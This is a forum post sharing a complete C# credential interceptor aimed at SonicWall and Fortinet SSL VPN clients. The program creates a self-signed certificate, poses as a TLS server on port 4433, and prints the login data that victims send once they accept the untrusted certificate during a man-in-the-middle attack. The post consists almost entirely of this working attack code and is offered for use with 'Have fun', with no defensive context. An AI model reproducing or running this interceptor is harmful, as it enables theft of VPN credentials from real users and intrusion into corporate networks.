Jump to content
TheSecurityNerd

SonicWall & Fortinet MiTM (Man-in-the-Middle) credentials interceptor

Recommended Posts

Here's a program in C# that can intercept SSL VPNs, if a Man-in-the-Middle is performed and the user clicks "Accept" you get their credentials. Fortinet rejected this CVE, said it was user fault, but most users will blindly click accept, just to connect

 

using CERTENROLLLib;
using System;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;

namespace SonicBreak
{
    class Program
    {
        public static X509Certificate2 CreateSelfSignedCertificate(string subjectName)
        {
            // create DN for subject and issuer
            var dn = new CX500DistinguishedName();
            dn.Encode("CN=" + subjectName, X500NameFlags.XCN_CERT_NAME_STR_NONE);

            // create a new private key for the certificate
            CX509PrivateKey privateKey = new CX509PrivateKey();
            privateKey.ProviderName = "Microsoft Base Cryptographic Provider v1.0";
            privateKey.MachineContext = true;
            privateKey.Length = 2048;
            privateKey.KeySpec = X509KeySpec.XCN_AT_SIGNATURE; // use is not limited
            privateKey.ExportPolicy = X509PrivateKeyExportFlags.XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG;
            privateKey.Create();

            // Use the stronger SHA512 hashing algorithm
            var hashobj = new CObjectId();
            hashobj.InitializeFromAlgorithmName(ObjectIdGroupId.XCN_CRYPT_HASH_ALG_OID_GROUP_ID,
                ObjectIdPublicKeyFlags.XCN_CRYPT_OID_INFO_PUBKEY_ANY,
                AlgorithmFlags.AlgorithmFlagsNone, "SHA512");

            // add extended key usage if you want - look at MSDN for a list of possible OIDs
            var oid = new CObjectId();
            oid.InitializeFromValue("1.3.6.1.5.5.7.3.1"); // SSL server
            var oidlist = new CObjectIds();
            oidlist.Add(oid);
            var eku = new CX509ExtensionEnhancedKeyUsage();
            eku.InitializeEncode(oidlist);

            // Create the self signing request
            var cert = new CX509CertificateRequestCertificate();
            cert.InitializeFromPrivateKey(X509CertificateEnrollmentContext.ContextMachine, privateKey, "");
            cert.Subject = dn;
            cert.Issuer = dn; // the issuer and the subject are the same
            cert.NotBefore = DateTime.Now;
            // this cert expires immediately. Change to whatever makes sense for you
            cert.NotAfter = DateTime.Now;
            cert.X509Extensions.Add((CX509Extension)eku); // add the EKU
            cert.HashAlgorithm = hashobj; // Specify the hashing algorithm
            cert.Encode(); // encode the certificate

            // Do the final enrollment process
            var enroll = new CX509Enrollment();
            enroll.InitializeFromRequest(cert); // load the certificate
            enroll.CertificateFriendlyName = subjectName; // Optional: add a friendly name
            string csr = enroll.CreateRequest(); // Output the request in base64
                                                 // and install it back as the response
            enroll.InstallResponse(InstallResponseRestrictionFlags.AllowUntrustedCertificate,
                csr, EncodingType.XCN_CRYPT_STRING_BASE64, ""); // no password
                                                                // output a base64 encoded PKCS#12 so we can import it back to the .Net security classes
            var base64encoded = enroll.CreatePFX("", // no password, this is for internal consumption
                PFXExportOptions.PFXExportChainWithRoot);

            // instantiate the target class with the PKCS#12 data (and the empty password)
            return new System.Security.Cryptography.X509Certificates.X509Certificate2(
                System.Convert.FromBase64String(base64encoded), "",
                // mark the private key as exportable (this is usually what you want to do)
                System.Security.Cryptography.X509Certificates.X509KeyStorageFlags.Exportable
            );
        }
        static void Main(string[] args)
        {
            TcpListener tcpListener = new TcpListener(System.Net.IPAddress.Any, 4433);
            tcpListener.Start();
            X509Certificate selfSigned = CreateSelfSignedCertificate("ServerTrick");
        
            while (true)
            {
                TcpClient tcpClient = tcpListener.AcceptTcpClient();
                SslStream sslStream = new SslStream(tcpClient.GetStream());
                sslStream.AuthenticateAsServer(selfSigned);
            
                byte[] resultBuffer = new byte[2048];
                string value = "";
                //requestStream.BeginRead(resultBuffer, 0, resultBuffer.Length, new AsyncCallback(ReadAsyncCallback), new result() { buffer = resultBuffer, stream = requestStream, handler = callback, asyncResult = null });
                do
                {
                    try
                    {
                        int read = sslStream.Read(resultBuffer, 0, resultBuffer.Length);
                        value += System.Text.Encoding.UTF8.GetString(resultBuffer, 0, read);

                        if (read < resultBuffer.Length)
                            break;
                    }
                    catch { break; }
                } while (true);
                Console.WriteLine(value);
                sslStream.Write(System.Text.Encoding.ASCII.GetBytes("HTTP/1.1 200 OK\r\nConnection: Keep-Alive\r\nHost: 127.0.0.1:4433\r\nContent-Length: 0\r\n\r\n\r\n"));           
                sslStream.Flush();
               if (!value.Contains("userLogin")) tcpClient.Close();
               else
                {
                    resultBuffer = new byte[2048];
                    value = "";
                    do
                    {
                        try
                        {
                            int read = sslStream.Read(resultBuffer, 0, resultBuffer.Length);
                            value += System.Text.Encoding.UTF8.GetString(resultBuffer, 0, read);

                            if (read < resultBuffer.Length)
                                break;
                        }
                        catch { break; }
                    } while (true);
                    Console.WriteLine(value);
                }
            }
        }
    }
}

 

Have fun, screw Fortinet & Sonicwall.

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...